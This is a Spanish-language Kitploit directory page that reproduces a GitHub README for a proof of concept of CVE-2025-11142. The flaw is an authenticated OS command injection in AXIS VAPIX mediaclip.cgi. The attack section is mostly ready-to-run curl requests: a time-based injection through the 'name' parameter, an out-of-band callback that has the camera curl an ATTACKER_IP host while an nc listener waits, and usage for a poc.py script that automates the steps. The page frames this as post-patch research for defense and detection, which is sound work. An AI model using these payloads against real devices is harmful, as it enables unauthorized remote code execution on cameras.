Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/kemrec/cve-2025-11142-axis-mediaclip-rce
Seguridad IoTAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubkemrec/cve-2025-11142-axis-mediaclip-rce

cve-2025-11142-axis-mediaclip-rce

Prueba de concepto y análisis técnico para CVE-2025-11142, una inyección de comandos del sistema operativo autenticada en AXIS VAPIX mediaclip.cgi, con métodos de verificación basados en tiempo y fuera de banda.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 12h 9mAún no revisado

CVE-2025-11142 — Inyección de comandos del sistema operativo en mediaclip.cgi de AXIS

Informe de investigación n-day y PoC — análisis técnico posterior al parche de una vulnerabilidad de inyección de comandos del sistema operativo con CVSS 7.1 en la API VAPIX Media Clip de AXIS, redescubierta de forma independiente y verificada mediante pruebas de caja negra contra un dispositivo Axis.

El aviso oficial de Axis no publica detalles técnicos de explotación ni un PoC público ("Axis no proporcionará información más detallada sobre la vulnerabilidad", "no se conocen exploits públicos" según la publicación del aviso). Este repositorio documenta una confirmación independiente y basada en evidencia, publicada solo después de que el parche del proveedor (AXIS OS 12.7.36) estuviera disponible de forma general. Ver Cronología de divulgación.

Resumen

ID CVECVE-2025-11142
CWECWE-78 (Inyección de comandos del sistema operativo)
CVSS7.1 (Alta)
AfectadosAXIS OS 12.6.54 – 12.7.35
Corregido enAXIS OS 12.7.36 (canal Active)
Aviso del proveedorhttps://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-11142
Privilegios requeridosOperador/administrador autenticado (autenticación VAPIX HTTP Digest)
Impacto verificado aquíEjecución arbitraria de comandos del sistema operativo como cuenta de servicio con privilegios bajos (no root)

Vulnerabilidad

El endpoint VAPIX /axis-cgi/mediaclip.cgi acepta una solicitud action=update con un parámetro name de texto libre (el nombre para mostrar del clip). Las pruebas de caja negra muestran que este valor se pasa, sin sanitizar, a una invocación de shell en el dispositivo — muy probablemente como parte de un paso interno de renombrado/procesamiento de archivos para el subsistema de clips multimedia.

Ningún informe técnico público describe la ruta exacta del código del lado del servidor (Axis no ha publicado uno), por lo que la causa raíz que se indica a continuación se infiere del comportamiento de caja negra, no de una revisión del código fuente.

Prueba de vulnerabilidad

Todas las solicitudes utilizan autenticación HTTP Digest (el dispositivo rechaza la autenticación Basic). Reemplace TARGET, USER y PASS con los valores de su propio dispositivo de laboratorio — no utilice las credenciales de ejemplo contra un dispositivo que no le pertenezca o para el que no esté autorizado a realizar pruebas.

1. Precondición — asegurar que existe el slot de clip 0

La acción update requiere un clip existente. Si el clip 0 aún no existe, cargue primero un marcador de posición pequeño e inofensivo:

root@kitploit:~
curl -s --digest -u "$USER:$PASS" --anyauth \
  -X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
  -F "[email protected];type=audio/wav"

Cualquier archivo WAV válido y diminuto sirve para poc.wav (una cabecera RIFF/WAVE mínima es suficiente).

2. Confirmación ciega basada en tiempo

root@kitploit:~
# línea base / control — sin retardo inyectado
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
  "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;sleep 0;"

# retardo inyectado de 8 segundos
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
  "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;sleep 8;"

Un tiempo de respuesta que sigue la duración del sleep inyectado (en lugar de la línea base de ~0.3s) confirma que el shell está ejecutando el valor completo de name, no solo tratándolo como una cadena inerte. Esto se verificó con múltiples retardos escalados de forma independiente (0s / 3s / 6s / 8s) y múltiples sintaxis de inyección (;, &&, comillas invertidas, $(...)) para descartar coincidencias.

3. Devolución de llamada de red fuera de banda (prueba más sólida)

Debido a que el cuerpo de la respuesta HTTP nunca refleja la salida del comando (OK / Updating=0 independientemente de la carga útil), la confirmación más convincente utiliza la propia capacidad de red saliente del dispositivo. Inicie un listener en un host controlado por el atacante y haga que el comando inyectado se comunique con él:

root@kitploit:~
# en el host del atacante:
nc -lvnp 4444

# carga útil inyectada:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
  --data-urlencode "action=update" \
  --data-urlencode "clip=0" \
  --data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"

Una solicitud HTTP entrante genuina desde la dirección IP del dispositivo objetivo, que contenga la cadena User-Agent de curl, es una prueba inequívoca de ejecución remota de código — la solicitud solo puede originarse desde un comando que realmente se ejecutó en el dispositivo.

4. Limpieza

root@kitploit:~
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"

poc.py

Consulte poc.py para ver un script autónomo que automatiza los pasos 1–4 contra un objetivo que usted especifique en la línea de comandos.

root@kitploit:~
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]

Impacto

  • Confirmado: ejecución arbitraria de comandos como una cuenta de servicio no root tras acceso autenticado.
  • No confirmado (fuera del alcance de esta investigación): escalada de privilegios local desde la cuenta de servicio a root. No se persiguieron binarios SUID ni otras vías de escalada más allá del enumerado pasivo.
  • Factores de riesgo realistas que agravan este hallazgo en el mundo real: los dispositivos Axis se implementan con frecuencia con credenciales de administrador predeterminadas o débiles, y toda la SPA del lado del cliente (que mapea completamente la superficie de la API VAPIX, incluido este endpoint) se sirve sin autenticación, lo que hace que el endpoint vulnerable sea trivialmente detectable.

Cronología de divulgación

  • CVE-2025-11142 asignado públicamente y aviso del proveedor publicado por Axis (fecha según el registro de NVD/proveedor — ver enlaces arriba).
  • Parche del proveedor disponible en AXIS OS 12.7.36 (canal Active) antes de la publicación de este repositorio.
  • Este repositorio se publica como un informe de investigación n-day (posterior al parche), que reproduce y documenta de forma independiente el comportamiento de la vulnerabilidad con fines defensivos/de detección, una vez que un parche estuvo disponible de forma general. No se revelan aquí detalles de 0-day más allá de lo que la asignación del CVE ya divulga (inyección de comandos CWE-78 en mediaclip.cgi) que Axis no haya confirmado ya.

Uso responsable

Este código se proporciona únicamente para pruebas de seguridad autorizadas, investigación de seguridad y fines defensivos (por ejemplo, verificar si su propia flota está parcheada, crear firmas de detección). No lo utilice contra dispositivos que no le pertenezcan o para los que no tenga autorización escrita explícita para realizar pruebas. El/los autor(es) no asumen ninguna responsabilidad por el mal uso.

Licencia

MIT — ver LICENSE.

Descargar herramienta